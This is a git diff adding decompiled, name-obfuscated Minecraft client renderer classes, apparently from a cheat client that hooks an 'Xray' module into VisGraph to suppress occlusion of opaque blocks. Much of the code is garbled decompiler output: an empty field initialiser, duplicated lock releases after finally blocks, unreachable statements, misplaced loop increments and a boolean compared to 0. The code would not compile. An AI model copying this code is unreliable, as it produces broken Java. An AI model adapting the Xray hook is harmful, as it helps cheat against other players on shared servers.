+          if (!p_178474_1_.func_178537_h())
+          {
+            LOGGER.warn("Chunk render task was " + p_178474_1_.func_178546_a() + " when I expected it to be compiling; aborting task");
+          }
+          
+          func_178473_b(p_178474_1_);
+          return;
+        }
+        
+        p_178474_1_.func_178535_a(ChunkCompileTaskGenerator.Status.UPLOADING);
+      }
+      finally
+      {
+        p_178474_1_.func_178540_f().unlock(); } p_178474_1_.func_178540_f().unlock();
+      
+
+      final CompiledChunk var7 = p_178474_1_.func_178544_c();
+      ArrayList var8 = Lists.newArrayList();
+      
+      if (var6 == ChunkCompileTaskGenerator.Type.REBUILD_CHUNK)
+      {
+        EnumWorldBlockLayer[] var9 = EnumWorldBlockLayer.values();
+        int var10 = var9.length;
+        
+        for (int var11 = 0; var11 < var10; var11++)
+        {
+          EnumWorldBlockLayer var12 = var9[var11];
+          
+          if (var7.func_178492_d(var12))
+          {
+            var8.add(field_178477_b.func_178503_a(var12, p_178474_1_.func_178545_d().func_179038_a(var12), p_178474_1_.func_178536_b(), var7));
+          }
+        }
+      }
+      else if (var6 == ChunkCompileTaskGenerator.Type.RESORT_TRANSPARENCY)
+      {
+        var8.add(field_178477_b.func_178503_a(EnumWorldBlockLayer.TRANSLUCENT, p_178474_1_.func_178545_d().func_179038_a(EnumWorldBlockLayer.TRANSLUCENT), p_178474_1_.func_178536_b(), var7));
+      }
+      
+      final ListenableFuture var19 = Futures.allAsList(var8);
+      p_178474_1_.func_178539_a(new Runnable()
+      {
+        private static final String __OBFID = "CL_00002458";
+        
+        public void run() {
+          var19.cancel(false);
+        }
+      });
+      Futures.addCallback(var19, new com.google.common.util.concurrent.FutureCallback()
+      {
+        private static final String __OBFID = "CL_00002457";
+        
+        public void func_178481_a(List p_178481_1_) {
+          ChunkRenderWorker.this.func_178473_b(p_178474_1_);
+          p_178474_1_.func_178540_f().lock();
+          
+          try
+          {
+            if (p_178474_1_.func_178546_a() != ChunkCompileTaskGenerator.Status.UPLOADING)
+            {
+              if (!p_178474_1_.func_178537_h())
+              {
+                ChunkRenderWorker.LOGGER.warn("Chunk render task was " + p_178474_1_.func_178546_a() + " when I expected it to be uploading; aborting task");
+              }
+              
+              return;
+            }
+            
+            p_178474_1_.func_178535_a(ChunkCompileTaskGenerator.Status.DONE);
+          }
+          finally
+          {
+            p_178474_1_.func_178540_f().unlock(); } p_178474_1_.func_178540_f().unlock();
+          
+
+          p_178474_1_.func_178536_b().func_178580_a(var7);
+        }
+        
+        public void onFailure(Throwable p_onFailure_1_) {
+          ChunkRenderWorker.this.func_178473_b(p_178474_1_);
+          
+          if ((!(p_onFailure_1_ instanceof CancellationException)) && (!(p_onFailure_1_ instanceof InterruptedException)))
+          {
+            Minecraft.getMinecraft().crashed(CrashReport.makeCrashReport(p_onFailure_1_, "Rendering chunk"));
+          }
+        }
+        
+        public void onSuccess(Object p_onSuccess_1_) {
+          func_178481_a((List)p_onSuccess_1_);
+        }
+      });
+    }
+  }
+  
+  private RegionRenderCacheBuilder func_178475_b() throws InterruptedException
+  {
+    return field_178478_c != null ? field_178478_c : field_178477_b.func_178515_c();
+  }
+  
+  private void func_178473_b(ChunkCompileTaskGenerator p_178473_1_)
+  {
+    if (field_178478_c == null)
+    {
+      field_178477_b.func_178512_a(p_178473_1_.func_178545_d());
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/chunk/CompiledChunk.java b/src/minecraft/net/minecraft/client/renderer/chunk/CompiledChunk.java
new file mode 100644
index 0000000..fd07477
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/chunk/CompiledChunk.java
@@ -0,0 +1,91 @@
+package net.minecraft.client.renderer.chunk;
+
+import com.google.common.collect.Lists;
+import java.util.List;
+import net.minecraft.client.renderer.WorldRenderer.State;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumWorldBlockLayer;
+
+public class CompiledChunk
+{
+  public static final CompiledChunk field_178502_a = new CompiledChunk()
+  {
+    private static final String __OBFID = "CL_00002455";
+    
+    protected void func_178486_a(EnumWorldBlockLayer p_178486_1_) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void func_178493_c(EnumWorldBlockLayer p_178493_1_) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean func_178495_a(EnumFacing p_178495_1_, EnumFacing p_178495_2_) {
+      return false;
+    }
+  };
+  private final boolean[] field_178500_b = new boolean[EnumWorldBlockLayer.values().length];
+  private final boolean[] field_178501_c = new boolean[EnumWorldBlockLayer.values().length];
+  private boolean field_178498_d = true;
+  private final List field_178499_e = Lists.newArrayList();
+  private SetVisibility field_178496_f = new SetVisibility();
+  private WorldRenderer.State field_178497_g;
+  private static final String __OBFID = "CL_00002456";
+  
+  public CompiledChunk() {}
+  
+  public boolean func_178489_a() { return field_178498_d; }
+  
+
+  protected void func_178486_a(EnumWorldBlockLayer p_178486_1_)
+  {
+    field_178498_d = false;
+    field_178500_b[p_178486_1_.ordinal()] = true;
+  }
+  
+  public boolean func_178491_b(EnumWorldBlockLayer p_178491_1_)
+  {
+    return field_178500_b[p_178491_1_.ordinal()] == 0;
+  }
+  
+  public void func_178493_c(EnumWorldBlockLayer p_178493_1_)
+  {
+    field_178501_c[p_178493_1_.ordinal()] = true;
+  }
+  
+  public boolean func_178492_d(EnumWorldBlockLayer p_178492_1_)
+  {
+    return field_178501_c[p_178492_1_.ordinal()];
+  }
+  
+  public List func_178485_b()
+  {
+    return field_178499_e;
+  }
+  
+  public void func_178490_a(TileEntity p_178490_1_)
+  {
+    field_178499_e.add(p_178490_1_);
+  }
+  
+  public boolean func_178495_a(EnumFacing p_178495_1_, EnumFacing p_178495_2_)
+  {
+    return field_178496_f.func_178621_a(p_178495_1_, p_178495_2_);
+  }
+  
+  public void func_178488_a(SetVisibility p_178488_1_)
+  {
+    field_178496_f = p_178488_1_;
+  }
+  
+  public WorldRenderer.State func_178487_c()
+  {
+    return field_178497_g;
+  }
+  
+  public void func_178494_a(WorldRenderer.State p_178494_1_)
+  {
+    field_178497_g = p_178494_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/chunk/IRenderChunkFactory.java b/src/minecraft/net/minecraft/client/renderer/chunk/IRenderChunkFactory.java
new file mode 100644
index 0000000..83421cd
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/chunk/IRenderChunkFactory.java
@@ -0,0 +1,10 @@
+package net.minecraft.client.renderer.chunk;
+
+import net.minecraft.client.renderer.RenderGlobal;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public abstract interface IRenderChunkFactory
+{
+  public abstract RenderChunk func_178602_a(World paramWorld, RenderGlobal paramRenderGlobal, BlockPos paramBlockPos, int paramInt);
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/chunk/ListChunkFactory.java b/src/minecraft/net/minecraft/client/renderer/chunk/ListChunkFactory.java
new file mode 100644
index 0000000..4f1a5e4
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/chunk/ListChunkFactory.java
@@ -0,0 +1,13 @@
+package net.minecraft.client.renderer.chunk;
+
+import net.minecraft.client.renderer.RenderGlobal;
+
+public class ListChunkFactory implements IRenderChunkFactory
+{
+  public ListChunkFactory() {}
+  
+  public RenderChunk func_178602_a(net.minecraft.world.World worldIn, RenderGlobal p_178602_2_, net.minecraft.util.BlockPos p_178602_3_, int p_178602_4_)
+  {
+    return new ListedRenderChunk(worldIn, p_178602_2_, p_178602_3_, p_178602_4_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/chunk/ListedRenderChunk.java b/src/minecraft/net/minecraft/client/renderer/chunk/ListedRenderChunk.java
new file mode 100644
index 0000000..f6dae94
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/chunk/ListedRenderChunk.java
@@ -0,0 +1,29 @@
+package net.minecraft.client.renderer.chunk;
+
+import net.minecraft.client.renderer.GLAllocation;
+import net.minecraft.client.renderer.RenderGlobal;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.World;
+
+public class ListedRenderChunk extends RenderChunk
+{
+  private final int field_178601_d = GLAllocation.generateDisplayLists(EnumWorldBlockLayer.values().length);
+  private static final String __OBFID = "CL_00002453";
+  
+  public ListedRenderChunk(World worldIn, RenderGlobal p_i46198_2_, BlockPos p_i46198_3_, int p_i46198_4_)
+  {
+    super(worldIn, p_i46198_2_, p_i46198_3_, p_i46198_4_);
+  }
+  
+  public int func_178600_a(EnumWorldBlockLayer p_178600_1_, CompiledChunk p_178600_2_)
+  {
+    return !p_178600_2_.func_178491_b(p_178600_1_) ? field_178601_d + p_178600_1_.ordinal() : -1;
+  }
+  
+  public void func_178566_a()
+  {
+    super.func_178566_a();
+    GLAllocation.func_178874_a(field_178601_d, EnumWorldBlockLayer.values().length);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/chunk/RenderChunk.java b/src/minecraft/net/minecraft/client/renderer/chunk/RenderChunk.java
new file mode 100644
index 0000000..c025d06
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/chunk/RenderChunk.java
@@ -0,0 +1,613 @@
+package net.minecraft.client.renderer.chunk;
+
+import java.nio.FloatBuffer;
+import java.util.Iterator;
+import java.util.concurrent.locks.ReentrantLock;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockRedstoneWire;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.renderer.GLAllocation;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.RegionRenderCache;
+import net.minecraft.client.renderer.RegionRenderCacheBuilder;
+import net.minecraft.client.renderer.RenderGlobal;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.tileentity.TileEntityRendererDispatcher;
+import net.minecraft.client.renderer.vertex.DefaultVertexFormats;
+import net.minecraft.client.renderer.vertex.VertexBuffer;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.World;
+import optifine.BlockPosM;
+import optifine.Config;
+import optifine.Reflector;
+import optifine.ReflectorClass;
+import optifine.ReflectorForge;
+import optifine.ReflectorMethod;
+
+public class RenderChunk
+{
+  private World field_178588_d;
+  private final RenderGlobal field_178589_e;
+  public static int field_178592_a;
+  private BlockPos field_178586_f;
+  public CompiledChunk field_178590_b;
+  private final ReentrantLock field_178587_g;
+  private final ReentrantLock field_178598_h;
+  private ChunkCompileTaskGenerator field_178599_i;
+  private final int field_178596_j;
+  private final FloatBuffer field_178597_k;
+  private final VertexBuffer[] field_178594_l;
+  public AxisAlignedBB field_178591_c;
+  private int field_178595_m;
+  private boolean field_178593_n;
+  private static final String __OBFID = "CL_00002452";
+  private BlockPos[] positionOffsets16;
+  private static EnumWorldBlockLayer[] ENUM_WORLD_BLOCK_LAYERS = ;
+  private EnumWorldBlockLayer[] blockLayersSingle;
+  private boolean isMipmaps;
+  private boolean fixBlockLayer;
+  private boolean playerUpdate;
+  
+  public RenderChunk(World worldIn, RenderGlobal renderGlobalIn, BlockPos blockPosIn, int indexIn)
+  {
+    positionOffsets16 = new BlockPos[EnumFacing.VALUES.length];
+    blockLayersSingle = new EnumWorldBlockLayer[1];
+    isMipmaps = Config.isMipmaps();
+    fixBlockLayer = (!Reflector.BetterFoliageClient.exists());
+    playerUpdate = false;
+    field_178590_b = CompiledChunk.field_178502_a;
+    field_178587_g = new ReentrantLock();
+    field_178598_h = new ReentrantLock();
+    field_178599_i = null;
+    field_178597_k = GLAllocation.createDirectFloatBuffer(16);
+    field_178594_l = new VertexBuffer[EnumWorldBlockLayer.values().length];
+    field_178595_m = -1;
+    field_178593_n = true;
+    field_178588_d = worldIn;
+    field_178589_e = renderGlobalIn;
+    field_178596_j = indexIn;
+    
+    if (!blockPosIn.equals(func_178568_j()))
+    {
+      func_178576_a(blockPosIn);
+    }
+    
+    if (OpenGlHelper.func_176075_f())
+    {
+      for (int var5 = 0; var5 < EnumWorldBlockLayer.values().length; var5++)
+      {
+        field_178594_l[var5] = new VertexBuffer(DefaultVertexFormats.field_176600_a);
+      }
+    }
+  }
+  
+  public boolean func_178577_a(int frameIndexIn)
+  {
+    if (field_178595_m == frameIndexIn)
+    {
+      return false;
+    }
+    
+
+    field_178595_m = frameIndexIn;
+    return true;
+  }
+  
+
+  public VertexBuffer func_178565_b(int p_178565_1_)
+  {
+    return field_178594_l[p_178565_1_];
+  }
+  
+  public void func_178576_a(BlockPos p_178576_1_)
+  {
+    func_178585_h();
+    field_178586_f = p_178576_1_;
+    field_178591_c = new AxisAlignedBB(p_178576_1_, p_178576_1_.add(16, 16, 16));
+    func_178567_n();
+    
+    for (int i = 0; i < positionOffsets16.length; i++)
+    {
+      positionOffsets16[i] = null;
+    }
+  }
+  
+  public void func_178570_a(float p_178570_1_, float p_178570_2_, float p_178570_3_, ChunkCompileTaskGenerator p_178570_4_)
+  {
+    CompiledChunk var5 = p_178570_4_.func_178544_c();
+    
+    if ((var5.func_178487_c() != null) && (!var5.func_178491_b(EnumWorldBlockLayer.TRANSLUCENT)))
+    {
+      WorldRenderer worldRenderer = p_178570_4_.func_178545_d().func_179038_a(EnumWorldBlockLayer.TRANSLUCENT);
+      func_178573_a(worldRenderer, field_178586_f);
+      worldRenderer.setVertexState(var5.func_178487_c());
+      func_178584_a(EnumWorldBlockLayer.TRANSLUCENT, p_178570_1_, p_178570_2_, p_178570_3_, worldRenderer, var5);
+    }
+  }
+  
+  public void func_178581_b(float p_178581_1_, float p_178581_2_, float p_178581_3_, ChunkCompileTaskGenerator p_178581_4_)
+  {
+    CompiledChunk var5 = new CompiledChunk();
+    boolean var6 = true;
+    BlockPos var7 = field_178586_f;
+    BlockPos var8 = var7.add(15, 15, 15);
+    p_178581_4_.func_178540_f().lock();
+    
+
+
+    try
+    {
+      if (p_178581_4_.func_178546_a() != ChunkCompileTaskGenerator.Status.COMPILING)
+      {
+        return;
+      }
+      
+      if (field_178588_d != null)
+      {
+        RegionRenderCache var9 = createRegionRenderCache(field_178588_d, var7.add(-1, -1, -1), var8.add(1, 1, 1), 1);
+        
+        if (Reflector.MinecraftForgeClient_onRebuildChunk.exists())
+        {
+          Reflector.call(Reflector.MinecraftForgeClient_onRebuildChunk, new Object[] { field_178588_d, field_178586_f, var9 });
+        }
+        
+        p_178581_4_.func_178543_a(var5);
+      }
+      
+    }
+    finally
+    {
+      p_178581_4_.func_178540_f().unlock(); } p_178581_4_.func_178540_f().unlock(); return;
+    
+
+    RegionRenderCache var9;
+    
+    VisGraph var10 = new VisGraph();
+    
+    if (!var9.extendedLevelsInChunkCache())
+    {
+      field_178592_a += 1;
+      Iterator var11 = BlockPosM.getAllInBoxMutable(var7, var8).iterator();
+      boolean forgeHasTileEntityExists = Reflector.ForgeBlock_hasTileEntity.exists();
+      boolean forgeBlockCanRenderInLayerExists = Reflector.ForgeBlock_canRenderInLayer.exists();
+      boolean forgeHooksSetRenderLayerExists = Reflector.ForgeHooksClient_setRenderLayer.exists();
+      EnumWorldBlockLayer[] var28;
+      int i; for (; var11.hasNext(); 
+          
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+          i < var28.length)
+      {
+        BlockPosM var20 = (BlockPosM)var11.next();
+        IBlockState var21 = var9.getBlockState(var20);
+        Block var22 = var21.getBlock();
+        
+        if (var22.isOpaqueCube())
+        {
+          var10.func_178606_a(var20);
+        }
+        
+        if (ReflectorForge.blockHasTileEntity(var21))
+        {
+          net.minecraft.tileentity.TileEntity var23 = var9.getTileEntity(new BlockPos(var20));
+          
+          if ((var23 != null) && (TileEntityRendererDispatcher.instance.hasSpecialRenderer(var23)))
+          {
+            var5.func_178490_a(var23);
+          }
+        }
+        
+        EnumWorldBlockLayer[] var28;
+        
+        if (forgeBlockCanRenderInLayerExists)
+        {
+          var28 = ENUM_WORLD_BLOCK_LAYERS;
+        }
+        else
+        {
+          var28 = blockLayersSingle;
+          var28[0] = var22.getBlockLayer();
+        }
+        
+        i = 0; continue;
+        
+        EnumWorldBlockLayer var24 = var28[i];
+        
+        if (forgeBlockCanRenderInLayerExists)
+        {
+          boolean var16 = Reflector.callBoolean(var22, Reflector.ForgeBlock_canRenderInLayer, new Object[] { var24 });
+          
+          if (!var16) {}
+
+        }
+        else
+        {
+
+          if (forgeHooksSetRenderLayerExists)
+          {
+            Reflector.callVoid(Reflector.ForgeHooksClient_setRenderLayer, new Object[] { var24 });
+          }
+          
+          if (fixBlockLayer)
+          {
+            var24 = fixBlockLayer(var22, var24);
+          }
+          
+          int var30 = var24.ordinal();
+          
+          if (var22.getRenderType() != -1)
+          {
+            WorldRenderer var17 = p_178581_4_.func_178545_d().func_179039_a(var30);
+            var17.setBlockLayer(var24);
+            
+            if (!var5.func_178492_d(var24))
+            {
+              var5.func_178493_c(var24);
+              func_178573_a(var17, var7);
+            }
+            
+            if (Minecraft.getMinecraft().getBlockRendererDispatcher().func_175018_a(var21, var20, var9, var17))
+            {
+              var5.func_178486_a(var24);
+            }
+          }
+        }
+        i++;
+      }
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      EnumWorldBlockLayer[] var25 = ENUM_WORLD_BLOCK_LAYERS;
+      int var26 = var25.length;
+      
+      for (int var27 = 0; var27 < var26; var27++)
+      {
+        EnumWorldBlockLayer var29 = var25[var27];
+        
+        if (var5.func_178492_d(var29))
+        {
+          if (Config.isShaders())
+          {
+            shadersmod.client.SVertexBuilder.calcNormalChunkLayer(p_178581_4_.func_178545_d().func_179038_a(var29));
+          }
+          
+          func_178584_a(var29, p_178581_1_, p_178581_2_, p_178581_3_, p_178581_4_.func_178545_d().func_179038_a(var29), var5);
+        }
+      }
+    }
+    
+    var5.func_178488_a(var10.func_178607_a());
+  }
+  
+  protected void func_178578_b()
+  {
+    field_178587_g.lock();
+    label52:
+    try
+    {
+      if (field_178599_i != null) { if (field_178599_i.func_178546_a() == ChunkCompileTaskGenerator.Status.DONE)
+          break label52;
+        field_178599_i.func_178542_e();
+        field_178599_i = null;
+      }
+    }
+    finally
+    {
+      field_178587_g.unlock();
+    }
+  }
+  
+  public ReentrantLock func_178579_c()
+  {
+    return field_178587_g;
+  }
+  
+  public ChunkCompileTaskGenerator func_178574_d()
+  {
+    field_178587_g.lock();
+    
+    ChunkCompileTaskGenerator var1;
+    try
+    {
+      func_178578_b();
+      field_178599_i = new ChunkCompileTaskGenerator(this, ChunkCompileTaskGenerator.Type.REBUILD_CHUNK);
+      var1 = field_178599_i;
+    }
+    finally {
+      ChunkCompileTaskGenerator var1;
+      field_178587_g.unlock();
+    }
+    
+    return var1;
+  }
+  
+  public ChunkCompileTaskGenerator func_178582_e()
+  {
+    field_178587_g.lock();
+    
+
+
+
+    try
+    {
+      if ((field_178599_i != null) && (field_178599_i.func_178546_a() == ChunkCompileTaskGenerator.Status.PENDING))
+      {
+        ChunkCompileTaskGenerator var1 = null;
+        return var1;
+      }
+      
+      if ((field_178599_i != null) && (field_178599_i.func_178546_a() != ChunkCompileTaskGenerator.Status.DONE))
+      {
+        field_178599_i.func_178542_e();
+        field_178599_i = null;
+      }
+      
+      field_178599_i = new ChunkCompileTaskGenerator(this, ChunkCompileTaskGenerator.Type.RESORT_TRANSPARENCY);
+      field_178599_i.func_178543_a(field_178590_b);
+      ChunkCompileTaskGenerator var1 = field_178599_i;
+      var2 = var1;
+    }
+    finally {
+      ChunkCompileTaskGenerator var2;
+      field_178587_g.unlock(); } ChunkCompileTaskGenerator var2; field_178587_g.unlock();
+    
+
+    return var2;
+  }
+  
+  private void func_178573_a(WorldRenderer p_178573_1_, BlockPos p_178573_2_)
+  {
+    p_178573_1_.startDrawing(7);
+    p_178573_1_.setVertexFormat(DefaultVertexFormats.field_176600_a);
+    p_178573_1_.setTranslation(-p_178573_2_.getX(), -p_178573_2_.getY(), -p_178573_2_.getZ());
+  }
+  
+  private void func_178584_a(EnumWorldBlockLayer p_178584_1_, float p_178584_2_, float p_178584_3_, float p_178584_4_, WorldRenderer p_178584_5_, CompiledChunk p_178584_6_)
+  {
+    if ((p_178584_1_ == EnumWorldBlockLayer.TRANSLUCENT) && (!p_178584_6_.func_178491_b(p_178584_1_)))
+    {
+      p_178584_6_.func_178494_a(p_178584_5_.getVertexState(p_178584_2_, p_178584_3_, p_178584_4_));
+    }
+    
+    p_178584_5_.draw();
+  }
+  
+  private void func_178567_n()
+  {
+    GlStateManager.pushMatrix();
+    GlStateManager.loadIdentity();
+    float var1 = 1.000001F;
+    GlStateManager.translate(-8.0F, -8.0F, -8.0F);
+    GlStateManager.scale(var1, var1, var1);
+    GlStateManager.translate(8.0F, 8.0F, 8.0F);
+    GlStateManager.getFloat(2982, field_178597_k);
+    GlStateManager.popMatrix();
+  }
+  
+  public void func_178572_f()
+  {
+    GlStateManager.multMatrix(field_178597_k);
+  }
+  
+  public CompiledChunk func_178571_g()
+  {
+    return field_178590_b;
+  }
+  
+  public void func_178580_a(CompiledChunk p_178580_1_)
+  {
+    field_178598_h.lock();
+    
+    try
+    {
+      field_178590_b = p_178580_1_;
+    }
+    finally
+    {
+      field_178598_h.unlock();
+    }
+  }
+  
+  public void func_178585_h()
+  {
+    func_178578_b();
+    field_178590_b = CompiledChunk.field_178502_a;
+  }
+  
+  public void func_178566_a()
+  {
+    func_178585_h();
+    field_178588_d = null;
+    
+    for (int var1 = 0; var1 < EnumWorldBlockLayer.values().length; var1++)
+    {
+      if (field_178594_l[var1] != null)
+      {
+        field_178594_l[var1].func_177362_c();
+      }
+    }
+  }
+  
+  public BlockPos func_178568_j()
+  {
+    return field_178586_f;
+  }
+  
+  public boolean func_178583_l()
+  {
+    field_178587_g.lock();
+    
+    boolean var1;
+    try
+    {
+      var1 = (field_178599_i == null) || (field_178599_i.func_178546_a() == ChunkCompileTaskGenerator.Status.PENDING);
+    }
+    finally {
+      boolean var1;
+      field_178587_g.unlock();
+    }
+    
+    return var1;
+  }
+  
+  public void func_178575_a(boolean p_178575_1_)
+  {
+    field_178593_n = p_178575_1_;
+    
+    if (field_178593_n)
+    {
+      if (isWorldPlayerUpdate())
+      {
+        playerUpdate = true;
+      }
+      
+    }
+    else {
+      playerUpdate = false;
+    }
+  }
+  
+  public boolean func_178569_m()
+  {
+    return field_178593_n;
+  }
+  
+  public BlockPos getPositionOffset16(EnumFacing facing)
+  {
+    int index = facing.getIndex();
+    BlockPos posOffset = positionOffsets16[index];
+    
+    if (posOffset == null)
+    {
+      posOffset = func_178568_j().offset(facing, 16);
+      positionOffsets16[index] = posOffset;
+    }
+    
+    return posOffset;
+  }
+  
+  private boolean isWorldPlayerUpdate()
+  {
+    if ((field_178588_d instanceof WorldClient))
+    {
+      WorldClient worldClient = (WorldClient)field_178588_d;
+      return worldClient.isPlayerUpdate();
+    }
+    
+
+    return false;
+  }
+  
+
+  public boolean isPlayerUpdate()
+  {
+    return playerUpdate;
+  }
+  
+  protected RegionRenderCache createRegionRenderCache(World world, BlockPos from, BlockPos to, int subtract)
+  {
+    return new RegionRenderCache(world, from, to, subtract);
+  }
+  
+  private EnumWorldBlockLayer fixBlockLayer(Block block, EnumWorldBlockLayer layer)
+  {
+    if (isMipmaps)
+    {
+      if (layer == EnumWorldBlockLayer.CUTOUT)
+      {
+        if ((block instanceof BlockRedstoneWire))
+        {
+          return layer;
+        }
+        
+        if ((block instanceof net.minecraft.block.BlockCactus))
+        {
+          return layer;
+        }
+        
+        return EnumWorldBlockLayer.CUTOUT_MIPPED;
+      }
+    }
+    else if (layer == EnumWorldBlockLayer.CUTOUT_MIPPED)
+    {
+      return EnumWorldBlockLayer.CUTOUT;
+    }
+    
+    return layer;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/chunk/SetVisibility.java b/src/minecraft/net/minecraft/client/renderer/chunk/SetVisibility.java
new file mode 100644
index 0000000..b1c5524
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/chunk/SetVisibility.java
@@ -0,0 +1,103 @@
+package net.minecraft.client.renderer.chunk;
+
+import java.util.BitSet;
+import java.util.Iterator;
+import java.util.Set;
+import net.minecraft.util.EnumFacing;
+
+public class SetVisibility
+{
+  private static final int field_178623_a = EnumFacing.values().length;
+  private final BitSet field_178622_b;
+  private static final String __OBFID = "CL_00002448";
+  
+  public SetVisibility()
+  {
+    field_178622_b = new BitSet(field_178623_a * field_178623_a);
+  }
+  
+  public void func_178620_a(Set p_178620_1_)
+  {
+    Iterator var2 = p_178620_1_.iterator();
+    Iterator var4;
+    for (; var2.hasNext(); 
+        
+
+
+
+        var4.hasNext())
+    {
+      EnumFacing var3 = (EnumFacing)var2.next();
+      var4 = p_178620_1_.iterator();
+      
+      continue;
+      
+      EnumFacing var5 = (EnumFacing)var4.next();
+      func_178619_a(var3, var5, true);
+    }
+  }
+  
+
+  public void func_178619_a(EnumFacing p_178619_1_, EnumFacing p_178619_2_, boolean p_178619_3_)
+  {
+    field_178622_b.set(p_178619_1_.ordinal() + p_178619_2_.ordinal() * field_178623_a, p_178619_3_);
+    field_178622_b.set(p_178619_2_.ordinal() + p_178619_1_.ordinal() * field_178623_a, p_178619_3_);
+  }
+  
+  public void func_178618_a(boolean p_178618_1_)
+  {
+    field_178622_b.set(0, field_178622_b.size(), p_178618_1_);
+  }
+  
+  public boolean func_178621_a(EnumFacing p_178621_1_, EnumFacing p_178621_2_)
+  {
+    return field_178622_b.get(p_178621_1_.ordinal() + p_178621_2_.ordinal() * field_178623_a);
+  }
+  
+  public String toString()
+  {
+    StringBuilder var1 = new StringBuilder();
+    var1.append(' ');
+    EnumFacing[] var2 = EnumFacing.values();
+    int var3 = var2.length;
+    
+
+
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      EnumFacing var5 = var2[var4];
+      var1.append(' ').append(var5.toString().toUpperCase().charAt(0));
+    }
+    
+    var1.append('\n');
+    var2 = EnumFacing.values();
+    var3 = var2.length;
+    
+    for (var4 = 0; var4 < var3; var4++)
+    {
+      EnumFacing var5 = var2[var4];
+      var1.append(var5.toString().toUpperCase().charAt(0));
+      EnumFacing[] var6 = EnumFacing.values();
+      int var7 = var6.length;
+      
+      for (int var8 = 0; var8 < var7; var8++)
+      {
+        EnumFacing var9 = var6[var8];
+        
+        if (var5 == var9)
+        {
+          var1.append("  ");
+        }
+        else
+        {
+          boolean var10 = func_178621_a(var5, var9);
+          var1.append(' ').append(var10 ? 'Y' : 'n');
+        }
+      }
+      
+      var1.append('\n');
+    }
+    
+    return var1.toString();
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/chunk/VboChunkFactory.java b/src/minecraft/net/minecraft/client/renderer/chunk/VboChunkFactory.java
new file mode 100644
index 0000000..d791d6a
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/chunk/VboChunkFactory.java
@@ -0,0 +1,15 @@
+package net.minecraft.client.renderer.chunk;
+
+import net.minecraft.client.renderer.RenderGlobal;
+
+public class VboChunkFactory implements IRenderChunkFactory
+{
+  private static final String __OBFID = "CL_00002451";
+  
+  public VboChunkFactory() {}
+  
+  public RenderChunk func_178602_a(net.minecraft.world.World worldIn, RenderGlobal p_178602_2_, net.minecraft.util.BlockPos p_178602_3_, int p_178602_4_)
+  {
+    return new RenderChunk(worldIn, p_178602_2_, p_178602_3_, p_178602_4_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/chunk/VisGraph.java b/src/minecraft/net/minecraft/client/renderer/chunk/VisGraph.java
new file mode 100644
index 0000000..96d8816
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/chunk/VisGraph.java
@@ -0,0 +1,303 @@
+package net.minecraft.client.renderer.chunk;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.modules.render.Xray;
+import java.util.ArrayDeque;
+import java.util.BitSet;
+import java.util.EnumSet;
+import java.util.Set;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import optifine.IntegerCache;
+
+
+public class VisGraph
+{
+  private static final int field_178616_a = (int)Math.pow(16.0D, 0.0D);
+  private static final int field_178614_b = (int)Math.pow(16.0D, 1.0D);
+  private static final int field_178615_c = (int)Math.pow(16.0D, 2.0D);
+  private final BitSet field_178612_d = new BitSet(4096);
+  private static final int[] field_178613_e = new int['Ո'];
+  private int field_178611_f = 4096;
+  private static final String __OBFID = "CL_00002450";
+  
+  public void func_178606_a(BlockPos p_178606_1_)
+  {
+    if (Client.instance.getModuleManager().getModuleByClass(Xray.class).isEnabled()) {
+      return;
+    }
+    field_178612_d.set(func_178608_c(p_178606_1_), true);
+    field_178611_f -= 1;
+  }
+  
+  private static int func_178608_c(BlockPos p_178608_0_)
+  {
+    return func_178605_a(p_178608_0_.getX() & 0xF, p_178608_0_.getY() & 0xF, p_178608_0_.getZ() & 0xF);
+  }
+  
+  private static int func_178605_a(int p_178605_0_, int p_178605_1_, int p_178605_2_)
+  {
+    return p_178605_0_ << 0 | p_178605_1_ << 8 | p_178605_2_ << 4;
+  }
+  
+  public SetVisibility func_178607_a()
+  {
+    SetVisibility var1 = new SetVisibility();
+    
+    if (4096 - field_178611_f < 256)
+    {
+      var1.func_178618_a(true);
+    }
+    else if (field_178611_f == 0)
+    {
+      var1.func_178618_a(false);
+    }
+    else
+    {
+      int[] var2 = field_178613_e;
